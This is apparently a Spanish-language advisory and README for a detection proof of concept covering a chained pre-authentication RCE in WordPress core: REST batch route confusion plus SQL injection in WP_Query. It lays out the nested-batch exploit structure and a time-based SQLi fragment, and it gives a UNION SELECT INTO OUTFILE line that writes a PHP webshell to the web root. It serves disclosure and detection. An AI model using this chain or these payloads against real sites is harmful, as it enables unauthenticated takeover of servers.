
Pre-auth RCE en WordPress Core a través de confusión de rutas batch de REST API + SQLi en WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de detección.
Pre-autenticación, sin autenticación, no se requieren plugins. Funciona contra una instalación estándar de WordPress a través del endpoint batch de la API REST.
| CVE | CVE-2026-63030 (confusión de rutas → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Descubridor | Adam Kues — Assetnote / Searchlight Cyber (denominado "wp2shell") |
| Afectado | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (cadena RCE completa) · 6.8.0 – 6.8.5 (solo SQLi) |
| Parcheado | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Crítico (cadena RCE) / Moderado (SQLi independiente) |
| Blog del investigador | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Dos errores en el núcleo de WordPress, encadenables para lograr ejecución remota de código sin autenticación:
WP_Query cuando author__not_in es una cadena en lugar de un array — se omite la comprobación de saneamiento is_array() y el valor en bruto se interpola directamente en una cláusula NOT IN (...).WP_REST_Server::serve_batch_request_v1() — las sub-solicitudes WP_Error se insertan en $validation[] pero no en $matches[], provocando un desplazamiento de índice de +1. La sub-solicitud i termina siendo despachada con el manejador de la sub-solicitud i+1.Ningún error por sí solo es suficiente: la API REST sanitiza author_exclude (type: array, items: integer) antes de que llegue a WP_Query, y el endpoint batch rechaza sub-solicitudes GET (enum: POST, PUT, PATCH, DELETE). Encadenándolos a través de una doble confusión se saltan ambas defensas y se alcanza la SQLi sin autenticación.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnerable (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // cadena → omitido
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Cuando author__not_in es una cadena, la rama is_array() se omite; (array) "payload" se evalúa como ["payload"]; implode(',', ...) devuelve la cadena en bruto, que se interpola directamente en la consulta SQL.
Corrección (6.9.5): usar wp_parse_id_list() que acepta cualquier forma de entrada y devuelve una lista de enteros sanitizada.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Bucle de validación
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NO se añade
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Bucle de despacho — indexa $matches[$i] con el $i ORIGINAL
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← desviado en uno tras un WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
Una sola sub-solicitud WP_Error (por ejemplo, ruta mal formada) en la posición 0 desplaza cada entrada subsiguiente en uno. La solicitud i se despacha entonces con el manejador de la solicitud i+1.
Corrección (6.9.5): también se añade $matches[] = $single_request; para el caso de error. Endurecimiento adicional: se interrumpe rest_api_loaded() / serve_request() mientras ya hay un despacho en curso.
┌──────────────────────────────────────────────────────────────────────┐
│ LOTE EXTERNO (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NO en $matches │
│ [1] path = "/wp/v2/categories" → lleva lote anidado en el body │
│ body = { "name": "x", │
│ "requests": [ LOTE_INTERNO ] } │
│ Validado contra categories → campo "requests" intacto │
│ [2] path = "/batch/v1" → manejador batch → desplaza a [1] │
│ │
│ Desplazamiento externo: request[1] despachado con el manejador de │
│ request[2] = serve_batch_request_v1. El endpoint batch NO tiene │
│ permission_callback → se ejecuta sin autenticación. El body de │
│ request[1] fue validado contra la ruta *categories*, por lo que │
│ las sub-solicitudes anidadas NUNCA se verificaron contra el enum │
│ de métodos batch → las sub-solicitudes internas pueden usar GET. │
├──────────────────────────────────────────────────────────────────────┤
│ LOTE INTERNO (procesado dentro de serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NO en $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validado contra categories → author_exclude NO sanitizado │
│ [2] GET /wp/v2/posts → manejador get_items → desplaza a [1]│
│ │
│ Desplazamiento interno: inner[1] despachado con el manejador de │
│ inner[2] = WP_REST_Posts_Controller::get_items. La cadena no │
│ sanitizada author_exclude se mapea a author__not_in y se pasa a │
│ WP_Query → INYECCIÓN SQL. │
└──────────────────────────────────────────────────────────────────────┘
El fragmento SQL resultante es:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) se ejecuta una vez por cada fila de post que coincida, por lo que el retardo total es aproximadamente N × <número_de_posts_publicados> segundos.
La inyección solo SELECT (sin consultas apiladas, $wpdb usa mysqli_query) aún produce RCE en pilas LAMP típicas cuando el usuario de MySQL tiene privilegio FILE, lo cual es predeterminado en muchos hostings compartidos y servidores autogestionados:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
escribe una webshell PHP en la raíz web, accesible en /x.php.
Vías alternativas (sin necesidad de privilegio FILE) incluyen leer el hash de la contraseña de administrador mediante SQLi UNION/booleana ciega y subir un plugin malicioso a través de la interfaz de administración autenticada.
uso: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
El PoC realiza dos pruebas no destructivas:
| Prueba | Método | ¿Seguro? |
|---|---|---|
| Confusión de rutas (CVE-2026-63030) | Estructural — verifica que la solicitud interna[1] (categories) se despacha con el manejador de posts comprobando si el cuerpo de la respuesta contiene campos solo de posts | Sí |
| SQLi (CVE-2026-60137) | Ciega basada en tiempo — inyecta SLEEP(N) vía author_exclude y mide la latencia frente a una línea base benigna | Sí |